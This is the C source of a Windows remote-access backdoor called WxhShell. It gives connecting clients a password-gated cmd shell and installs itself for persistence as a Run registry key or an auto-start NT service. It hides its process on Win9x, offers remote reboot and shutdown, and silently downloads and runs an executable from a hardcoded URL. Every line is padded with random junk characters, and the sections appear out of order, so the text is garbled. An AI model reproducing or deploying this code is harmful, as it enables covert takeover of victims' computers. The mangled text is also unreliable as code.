    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $V!.z%Vgf  
    else { 6,q_ M(;c  
    closesocket(wsh); 7;AK=;  
    ExitThread(0); I V# 8W  
    } UtTlJb{-j  
    break; CU\gx*=E  
    } xm1di@  
  // 获取shell pXO09L/nv  
  case 's': { /X.zt `  
    CmdShell(wsh); Lk,q~  
    closesocket(wsh); LX7P?j  
    ExitThread(0); |~ fI=1;;x  
    break; qS @3:R  
  } tm.60udbo  
  // 退出 {{Ox%Zm  
  case 'x': { mu{C>w_Rz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mI,lW|/l,  
    CloseIt(wsh); /\-}-"dm  
    break; y!P!Fif'  
    } SR?mSpq5  
  // 离开 2e%\aP`D2  
  case 'q': { *cXq=/s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZBpcC0 z  
    closesocket(wsh); \^" Vqx  
    WSACleanup(); F<g&t|@  
    exit(1); 6c-3+,Y"#  
    break; ?[zw5fUDS  
        } AF"7 _  
  } 6_KvS  
  } {:!>Y1w>  
gR# k'   
  // 提示信息 M9R'ONYAa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Eqz|eS*6  
} (JlPe)Q5  
  } ]VKQm(,0  
#z.n?d2Gd  
  return; S._2..%G  
} s=(q#Z  
L}rZ1wV6  
// shell模块句柄 27ZqdHd  
int CmdShell(SOCKET sock)  FNH)wk  
{ nL=+`aq_  
STARTUPINFO si; Yft [)id  
ZeroMemory(&si,sizeof(si)); C}mhnU@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,H+Y1N4W(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5s3QN{h8  
PROCESS_INFORMATION ProcessInfo; yPtE5"(o  
char cmdline[]="cmd"; K*T^w3=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tW|0_m>{  
  return 0; /-FV1G,h  
} |Qcz5M90e  
9&f+I@K  
// 自身启动模式 CdRJ@Lf  
int StartFromService(void) ?s$d("~  
{ GxD`M2  
typedef struct __ 9FQ{Ra  
{ 7>gjq'0  
  DWORD ExitStatus; mW'3yM  
  DWORD PebBaseAddress; 6H'A]0  
  DWORD AffinityMask; r+C4<-dT  
  DWORD BasePriority; z8t;jw  
  ULONG UniqueProcessId; Fnak:R0  
  ULONG InheritedFromUniqueProcessId; pZ|{p{_j  
}   PROCESS_BASIC_INFORMATION; o{#aF=`{  
2kVZlt'y  
PROCNTQSIP NtQueryInformationProcess; 8b'@_s!_  
!38KHq^|&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vO2WZ7E!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H%Gz"  
Qf^c}!I  
  HANDLE             hProcess; ; &6 {c  
  PROCESS_BASIC_INFORMATION pbi; yZNG>1 N  
BZQ}c<Nl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^PNDxtd|v  
  if(NULL == hInst ) return 0; k5aB|xo  
@z ",1^I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); # tu>h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d~~, 5E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )TiM>{  
/_m )D;!y  
  if (!NtQueryInformationProcess) return 0; &^#iS<s1  
Fdhgm{Y2s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); njxLeD e-  
  if(!hProcess) return 0; aBReIK o  
:<zIWje  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H5Eso*v@  
P#V!hfM  
  CloseHandle(hProcess); i \NV<I  
o+=wQ$"tP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3A`]Rk   
if(hProcess==NULL) return 0; /J-'[Mc'D[  
a-|pSe*rx  
HMODULE hMod; 1i$VX|r  
char procName[255]; [k%hl`}  
unsigned long cbNeeded; HBe*wkPd  
d]s^?=gM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ow9a^|@a  
lj}3TbM  
  CloseHandle(hProcess); 8_4!Ar>2  
kQbZ!yl>[  
if(strstr(procName,"services")) return 1; // 以服务启动 j3 6Y Iz$a  
{ DP9^hg  
  return 0; // 注册表启动 Z S=H1  
} o]&q'>Rf  
{Cm!5QYy  
// 主模块 `$JvWN,kB  
int StartWxhshell(LPSTR lpCmdLine) W>a}g[Ad  
{ kll!tT-N-  
  SOCKET wsl; td7(444]  
BOOL val=TRUE; &Iy5@8  
  int port=0; +7w5m  
  struct sockaddr_in door; 5n2!Y\  
N2s"$Ttq  
  if(wscfg.ws_autoins) Install(); &6OY ^6<  
af | mk@  
port=atoi(lpCmdLine); 6k;5T   
6vbKKn`ST  
if(port<=0) port=wscfg.ws_port; 1ygEyC[1  
G(wK(P0j  
  WSADATA data; BH {z]a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `ZEFH7P  
;]1t| td8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B,%6sa~I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2fr%_GNu  
  door.sin_family = AF_INET; h+B7BjA>G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  Rw0|q  
  door.sin_port = htons(port); <J+Oh\8tad  
rd0Fd+t/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vVo'f|fW  
closesocket(wsl); 3?V'O6  
return 1; G@ ot^n3  
} JR]elRR  
0=HB!{ @  
  if(listen(wsl,2) == INVALID_SOCKET) { %HpPTjAW  
closesocket(wsl); }:faHLYT  
return 1; N}U+K  
} QxW+|Gt._  
  Wxhshell(wsl); }O~D3z4l0  
  WSACleanup(); q]: 72+  
sG#Os  
return 0; ?1\I/ 'E9  
3v_j*wy  
} / Q@4HV  
eG(YORkR  
// 以NT服务方式启动 /~'C!so[v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r~T!$Tb  
{ LAk .f  
DWORD   status = 0; "W6cQsi  
  DWORD   specificError = 0xfffffff; ?9{^gW4|  
el5Pe{j '  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^V;r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s:6K'*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jGo%Aase  
  serviceStatus.dwWin32ExitCode     = 0; ! N2uJ?t  
  serviceStatus.dwServiceSpecificExitCode = 0; ^}$t(t  
  serviceStatus.dwCheckPoint       = 0; >4wigc  
  serviceStatus.dwWaitHint       = 0; iWjNK"W  
'Iw`+=iVz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p]S'pzh  
  if (hServiceStatusHandle==0) return; A<c<!N  
i5le0lM  
status = GetLastError(); Awfd0L;9  
  if (status!=NO_ERROR) =Ks&m4  
{ UNb7WN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HqV55o5f'  
    serviceStatus.dwCheckPoint       = 0; =t_+ajY%  
    serviceStatus.dwWaitHint       = 0; `m(ZX\W]  
    serviceStatus.dwWin32ExitCode     = status; A94:(z;{  
    serviceStatus.dwServiceSpecificExitCode = specificError; x/{-U05  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -5og)ZGVUA  
    return; ^jL)<y4`  
  } ?qsLR  
hd'QMr[;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _Ml?cT/J.O  
  serviceStatus.dwCheckPoint       = 0; ;C*2Djb*n  
  serviceStatus.dwWaitHint       = 0; ,?m@Ko7Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YC%x W*  
} dl=)\mSFjF  
fIpS P@$<  
// 处理NT服务事件,比如:启动、停止 /'{vDxZf R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <fBJ@>  
{ tBzE(vW  
switch(fdwControl) [K #$W  
{ XO?WxL9k]  
case SERVICE_CONTROL_STOP: L>/$l(  
  serviceStatus.dwWin32ExitCode = 0; zZ-/S~l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aO1.9! <v  
  serviceStatus.dwCheckPoint   = 0; 8HLL3H0  
  serviceStatus.dwWaitHint     = 0; T$MXsq  
  { ph b ;D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )OQm,5F1  
  } Oi|cTZ@A-  
  return; 5w>TCx  
case SERVICE_CONTROL_PAUSE: V$DB4YM1k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]E"J^mflGK  
  break; z<t2yh(DF  
case SERVICE_CONTROL_CONTINUE: rV"3oM]Lo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^[[@P(e>  
  break; -T+YMAFU_  
case SERVICE_CONTROL_INTERROGATE: uu]C;wl  
  break; k2->Z);X  
}; uYs45 G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4V[(RXc/  
} 4mW$+lzn  
81#x/&E]  
// 标准应用程序主函数 ,O.iOT0=;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >Q=e9L=  
{ u=@zYA(  
]2"UR_x  
// 获取操作系统版本 $U ._4  
OsIsNt=GetOsVer(); B_Gcz5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fGj66rMGw  
Se[=$W  
  // 从命令行安装 [%LGiCU]  
  if(strpbrk(lpCmdLine,"iI")) Install(); `@\FpV[|P  
?-&k?I  
  // 下载执行文件 ?7CdJgJp  
if(wscfg.ws_downexe) { 2vUcSKG7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D3g5#.$,}>  
  WinExec(wscfg.ws_filenam,SW_HIDE); bp8sZK"z  
} (Q `Ps /  
x^[0UA]S9  
if(!OsIsNt) { !|VtI$I>x  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~^Al#@  
HideProc(); s$f9?(,.Ay  
StartWxhshell(lpCmdLine); se3EI1e  
} ec^{ez@`  
else y<IHZq`C3  
  if(StartFromService()) L6qK3xa}  
  // 以服务方式启动 L1lDDS#  
  StartServiceCtrlDispatcher(DispatchTable); E}w5.1  
else K ..Pn 17t  
  // 普通方式启动 l8M}82_  
  StartWxhshell(lpCmdLine); dc emF  
7{"F%`7L  
return 0; Z{ YuX  
} K7x;/O  
Pj56,qd>s  
- ]We|{  
}n^}%GB  
=========================================== 6U|"d[  
MftaT5  
b-`P-  
B[&l<*O-y  
yIpgZ0:h  
#Sy~t{4  
" i%f C`@  
,,EG"Um6  
#include <stdio.h> U;ujN8  
#include <string.h> !f!YMpN  
#include <windows.h> ]*$o qn=m  
#include <winsock2.h> &% (1?\~u  
#include <winsvc.h> WzdlrkD  
#include <urlmon.h> Lo[;{A$u  
8PeVHpZ  
#pragma comment (lib, "Ws2_32.lib") [r]<~$  
#pragma comment (lib, "urlmon.lib") pR*3Q@Ng  
Bd>ATc+580  
#define MAX_USER   100 // 最大客户端连接数 o=5hG9dj  
#define BUF_SOCK   200 // sock buffer 6>)KiigZ\  
#define KEY_BUFF   255 // 输入 buffer _Co v>6_i  
iRW5*-66f  
#define REBOOT     0   // 重启 .aK=z)  
#define SHUTDOWN   1   // 关机 [;toumv  
(Ze\<Y#cv  
#define DEF_PORT   5000 // 监听端口 `"~X1;  
uuUj IZCtz  
#define REG_LEN     16   // 注册表键长度 7 oYD;li$k  
#define SVC_LEN     80   // NT服务名长度 kd p*6ynD  
9)b{U2&  
// 从dll定义API ,pZz`B#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^^xzaF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oe9S$C;$'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Pqvj0zUo$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EO",|V-  
O9N%dir  
// wxhshell配置信息 S]&i<V1qX  
struct WSCFG { f .h$jyp(  
  int ws_port;         // 监听端口 BNJG-b|g^  
  char ws_passstr[REG_LEN]; // 口令 :w4H$+j  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,:81DA  
  char ws_regname[REG_LEN]; // 注册表键名 $Ixd;`l*  
  char ws_svcname[REG_LEN]; // 服务名 da8 R.1o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~Ty6]A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4g.S!-H@R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S[rfcL"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A}"uEk(R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HqOnZ>D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Oh}@c~7;  
T(qHi?Y  
}; (ke<^sv7!  
b]8\% =d  
// default Wxhshell configuration I= z+`o8  
struct WSCFG wscfg={DEF_PORT, .lc gM  
    "xuhuanlingzhe", w6B`_Z'f  
    1, iVqF]2 >  
    "Wxhshell", 9I|Q`j?p`  
    "Wxhshell", {#{nU NW  
            "WxhShell Service", wp/x|AV  
    "Wrsky Windows CmdShell Service", P}PMRAek  
    "Please Input Your Password: ", )fT0FLl|1  
  1, "bjbJC&T  
  "http://www.wrsky.com/wxhshell.exe", yg4ILL  
  "Wxhshell.exe" G_5NS<JE"S  
    }; +A_jm!tJS(  
1@<>GDB9  
// 消息定义模块 ?N%5c%oF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mvtuV`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; } 4>#s$.2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  Z\$!:  
char *msg_ws_ext="\n\rExit."; 4T<dI6I0  
char *msg_ws_end="\n\rQuit."; j!"NEh78H  
char *msg_ws_boot="\n\rReboot..."; 5_L43-  
char *msg_ws_poff="\n\rShutdown..."; o{ | |Ig  
char *msg_ws_down="\n\rSave to "; MD+ eLA7  
J= DD/Gp  
char *msg_ws_err="\n\rErr!"; ^A;ec h7I  
char *msg_ws_ok="\n\rOK!"; y|.dM.9V  
A<g5:\3  
char ExeFile[MAX_PATH]; rHtX4;f+><  
int nUser = 0; Od]wh  
HANDLE handles[MAX_USER]; c$3ZEe  
int OsIsNt; 6Qm .k$[  
dnX^?  
SERVICE_STATUS       serviceStatus; ui^v.YCMI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'V Y\ut  
)4/UzR$  
// 函数声明 ,!^w  
int Install(void); |1 LKdP  
int Uninstall(void); L\kT9wWK|  
int DownloadFile(char *sURL, SOCKET wsh); Z~7}  
int Boot(int flag); dU"C=c(w\  
void HideProc(void); xJ|Z]m=d   
int GetOsVer(void); n~&e>_;(.  
int Wxhshell(SOCKET wsl); 7m 9T'  
void TalkWithClient(void *cs); ]GHx<5Q:\  
int CmdShell(SOCKET sock); n %P,"V  
int StartFromService(void); 'P)[=+O?t  
int StartWxhshell(LPSTR lpCmdLine); %6<2~  
SVyJUd_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c\eT`.ENk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #*K!@X  
X`n*M]  
// 数据结构和表定义 27jZ~Bp$  
SERVICE_TABLE_ENTRY DispatchTable[] = o)6udRzBv  
{ I*i$!$Bx2  
{wscfg.ws_svcname, NTServiceMain}, ol8uV{:"  
{NULL, NULL} D D Crvl  
}; r;aP`MVO<  
s((_^yf  
// 自我安装 38q0iAH  
int Install(void) / k8;k56  
{ q\5C-f  
  char svExeFile[MAX_PATH]; pDx}~IB  
  HKEY key; t]%! vXo  
  strcpy(svExeFile,ExeFile); ?rH=<#@  
} "ts  
// 如果是win9x系统,修改注册表设为自启动 ? &;d)TQ  
if(!OsIsNt) { N[,/VCW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U_,K_6vj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [?`c>  
  RegCloseKey(key); V/-~L]G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MRHkQE+K@8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { e %  
  RegCloseKey(key); w]0jq U6  
  return 0; =1vVI Twl  
    } 9wFQ<r  
  } L:F:ZOM6`  
} p^``hP:J  
else { wbId}!  
H{T)?J~  
// 如果是NT以上系统,安装为系统服务 N6<23kYM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  0-+`{j  
if (schSCManager!=0) |"Oazll  
{ h@D4~(r  
  SC_HANDLE schService = CreateService !f\6=Z?>3  
  ( | Y1<P^  
  schSCManager, #B)`dA0a  
  wscfg.ws_svcname, @*O(dw  
  wscfg.ws_svcdisp, ),6Z1 K1  
  SERVICE_ALL_ACCESS, ?Xo9,4V1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;"nEEe]?  
  SERVICE_AUTO_START, k\}qCDs  
  SERVICE_ERROR_NORMAL, QrPWS-3~!  
  svExeFile, qQ6NxhQo  
  NULL, #z t+U^#)  
  NULL, &4DV]9+g  
  NULL, u;:N 4d=f'  
  NULL,  . yu  
  NULL ZdH WSfO)O  
  ); 8YN+ \  
  if (schService!=0) o#wF/ I  
  { Aq|LeH  
  CloseServiceHandle(schService); ^HL#)fK2I  
  CloseServiceHandle(schSCManager); }wkBa]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qzh:*O  
  strcat(svExeFile,wscfg.ws_svcname); a}c(#ZLs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t@v>eb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gz@%UIv  
  RegCloseKey(key); t7A.b~#  
  return 0; M3F8@|2  
    } 28BiuxVW  
  } |ns^' q  
  CloseServiceHandle(schSCManager); ?\#4`9  
} `?6m0|\@  
} >uJrq""+  
s/To|9D  
return 1; ;. :UfW  
} jv|IV  
JrL/LGY  
// 自我卸载 H_8@J  
int Uninstall(void) PUYo >eB)0  
{ ) L{Tn 8  
  HKEY key; kh,M'XbTo  
(x$k\H  
if(!OsIsNt) { 329xo03-[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )sS< %Xf  
  RegDeleteValue(key,wscfg.ws_regname); 5^d%+*l;q  
  RegCloseKey(key); P|(J]/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2iG(v._x  
  RegDeleteValue(key,wscfg.ws_regname); 7T2W% JT-,  
  RegCloseKey(key); rP\ 7C+  
  return 0; \qTn"1b Q  
  } W>Rv  
} Z.mV fy%  
} v S+~4Q41  
else { ~!nd'{{9  
Dps{[3Y+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uq+ _#{2(  
if (schSCManager!=0) n `Xz<Q!  
{ */+s^{W7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RU >vnDaC  
  if (schService!=0) q,(&2./  
  { q}1$OsM  
  if(DeleteService(schService)!=0) { !KlSw,&=.6  
  CloseServiceHandle(schService); JWn{nJ$]  
  CloseServiceHandle(schSCManager); +8Px` v1L  
  return 0; jh?7+(Cw  
  } &T|-K\*  
  CloseServiceHandle(schService); i-=ff  
  } e S=k 48'U  
  CloseServiceHandle(schSCManager); %7@H7^s}9  
} =dw1Q  
} cU6#^PFu  
@ixX?N)V  
return 1; j`GbI0,bT  
} *Fc&DQT(  
D7(t6C=FP  
// 从指定url下载文件 3"hR:'ts  
int DownloadFile(char *sURL, SOCKET wsh) zn x_p /V  
{ 1G;Ns] u  
  HRESULT hr; (j I|F-i  
char seps[]= "/"; o'4@]ae   
char *token; S- \lN|  
char *file; 3,5wWT] )  
char myURL[MAX_PATH]; \xZBu"  
char myFILE[MAX_PATH]; //,'oh~W  
Cr%r<*s  
strcpy(myURL,sURL); Pb;`'<*U  
  token=strtok(myURL,seps); cs M|VNE>  
  while(token!=NULL) #G=QL(f>/  
  { Rqz()M  
    file=token; 5gEfhZQ  
  token=strtok(NULL,seps); D` X6'PP  
  } D5b _m|7%  
R"o,m  
GetCurrentDirectory(MAX_PATH,myFILE); kw~H%-,]  
strcat(myFILE, "\\"); "6.p=te  
strcat(myFILE, file); =k7\g /  
  send(wsh,myFILE,strlen(myFILE),0); P0(~~z&%[  
send(wsh,"...",3,0); LD~'^+W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P$ef,ZW"  
  if(hr==S_OK) z}tp0~C  
return 0; Y]K]]Ehp  
else !q\w"p0X  
return 1; ,b(S=r  
6<$|;w-OV  
} -\$cGIL  
@e0skc  
// 系统电源模块 \=V[ba:q  
int Boot(int flag) %pkq ?9  
{ 9p rsL#Fn  
  HANDLE hToken; PEt8,,x<"  
  TOKEN_PRIVILEGES tkp; 3a}`xCO5  
)o</gt)  
  if(OsIsNt) { Hk*cO;c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s)8M? |[`I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ydqmuZ%2h#  
    tkp.PrivilegeCount = 1; WbWW=(N'd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k1U8wdoT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^!F5Cz 48  
if(flag==REBOOT) { aZ>\*1   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MH;%Y"EI  
  return 0; N pND/  
} W.D3$  
else { Q9xx/tUW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @dCPa7:>&  
  return 0; ]N"F?3J 8  
} ^MHn2Cv/~  
  } N$&ePU J  
  else { ls7A5 <  
if(flag==REBOOT) { #]DZrD&q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  5vF}F^  
  return 0; /+t[,  
} :+Q"MIU  
else { y2$;t'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `h9)`*  
  return 0; xhkWKB/7  
} !GGGh0Bj  
} t<k [W'#  
7(~H77  
return 1; WmjzKCl  
} 8Cs$NUU  
%;\G@q_p{  
// win9x进程隐藏模块 zL},`:(.  
void HideProc(void) C{hcK 1-K  
{ {ogZT7w}  
4JZHjf0M6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iE^a%|?}  
  if ( hKernel != NULL ) )ClMw!ZrU  
  { IbJ[Og^Qyu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d[]p_oIQq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [)SR $/A  
    FreeLibrary(hKernel); \;*}zX  
  } '#N5i  
MFH"$t+  
return; .?0>5-SfY  
} C. Ja;RFq  
q#(/*AoU  
// 获取操作系统版本 rFq@ ]t3q  
int GetOsVer(void) fcE)V#c"g  
{ t+ S~u^  
  OSVERSIONINFO winfo; W>0"CUp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1U7,X6=~  
  GetVersionEx(&winfo); zd9]qo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M[K0t>ih  
  return 1; fNqmTRu  
  else O*rmD<L$  
  return 0; ^b"bRQqm  
} NYjS  
lkg"'p{  
// 客户端句柄模块 ~n/Aq*  
int Wxhshell(SOCKET wsl) ~y)bYG!G  
{ Dr6s ^}}~n  
  SOCKET wsh; *t.q m5h  
  struct sockaddr_in client; g%\$ !b  
  DWORD myID; i-k >U}[%  
fK'.wX9  
  while(nUser<MAX_USER) B [+(r  
{ GOf`Z'\xt  
  int nSize=sizeof(client); /bmXDDYH4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _hy{F%}  
  if(wsh==INVALID_SOCKET) return 1; *qPdZ   
`V&1]C8x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^XBzZ!h|  
if(handles[nUser]==0) m Ztv G,  
  closesocket(wsh); ;}/U+`=D?  
else F!gNt<fZ  
  nUser++; j2 }  
  } PFS;/   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5{13 V*<  
;8ET!&k*>E  
  return 0; ~H^'al2PK  
} Tm)GC_  
Xnv@H:$mxk  
// 关闭 socket <vB<`   
void CloseIt(SOCKET wsh) JiFA]M`^Q  
{ 'qL5$zG  
closesocket(wsh); Vd+td;9(  
nUser--; S]&8St  
ExitThread(0); +Edzjf~Tt  
} >Mvka;T]  
YijMF/Uyb  
// 客户端请求句柄 ;gDMl57PQ.  
void TalkWithClient(void *cs) /!GKh5|  
{ {O^TurbTFA  
%K[daXw6E8  
  SOCKET wsh=(SOCKET)cs; _1^8xFe2  
  char pwd[SVC_LEN]; [o2w1R\H+x  
  char cmd[KEY_BUFF]; UJz#QkAio  
char chr[1]; &]P"48NT  
int i,j; qib 7Z]j  
mxQR4"]jY  
  while (nUser < MAX_USER) { ;%' b;+  
VeZey)Q  
if(wscfg.ws_passstr) { ha*X6R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i S%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *AZ?~ i^o  
  //ZeroMemory(pwd,KEY_BUFF); d%0+i/p  
      i=0;  gH %y  
  while(i<SVC_LEN) { "EoDQT"0  
v:KX9A.  
  // 设置超时 GCT@o!  
  fd_set FdRead; 4j> fI)FUW  
  struct timeval TimeOut; gQ37>  
  FD_ZERO(&FdRead); Z@3l%p6V  
  FD_SET(wsh,&FdRead); ?d$"[lKX  
  TimeOut.tv_sec=8; Lf. 1>s  
  TimeOut.tv_usec=0; ncv7t|ZN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4qhWm"&CM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BQ#3QL't  
bAf,aV/C&|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $X*mdji  
  pwd=chr[0]; Py|;kF~![  
  if(chr[0]==0xd || chr[0]==0xa) { IdPn%)>6  
  pwd=0; ZK6Hvc0  
  break; mO P4z'  
  } z8HsYf(!  
  i++; <l$P&jSF3  
    } 3HZ~.  
c'Z: 9?#5  
  // 如果是非法用户,关闭 socket Nt]qVwUm'Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kneuV8+(5  
} a2`%gh W3  
4KXc~eF[M"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $5AC1g'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hN   
i|]7(z#OyI  
while(1) { _qn?2u3mnR  
1<.5ub*i4  
  ZeroMemory(cmd,KEY_BUFF); jk*tL8?i  
]f8L:=c  
      // 自动支持客户端 telnet标准   tdep|sD  
  j=0; x5}lgyt  
  while(j<KEY_BUFF) { F";.6%;AC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `'i( U7?  
  cmd[j]=chr[0]; ^s&W>hTX:  
  if(chr[0]==0xa || chr[0]==0xd) { n[,XU|2  
  cmd[j]=0; +m)q%I>  
  break; p[9s<lEh  
  } Y9Z]i$qS&k  
  j++; _ \D"E>oM  
    } >oGiIYq  
:ofBzTNwZ  
  // 下载文件 N\NyXh$  
  if(strstr(cmd,"http://")) { *27*>W1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o(!@7Lqq  
  if(DownloadFile(cmd,wsh)) F]EBD8/b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Io  n~  
  else wM~H(=s`D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WBr59@V  
  } >6<q8{*  
  else { -F@L}|  
AY,].Zg[  
    switch(cmd[0]) { %<0eA`F4  
  W$0^(FH[  
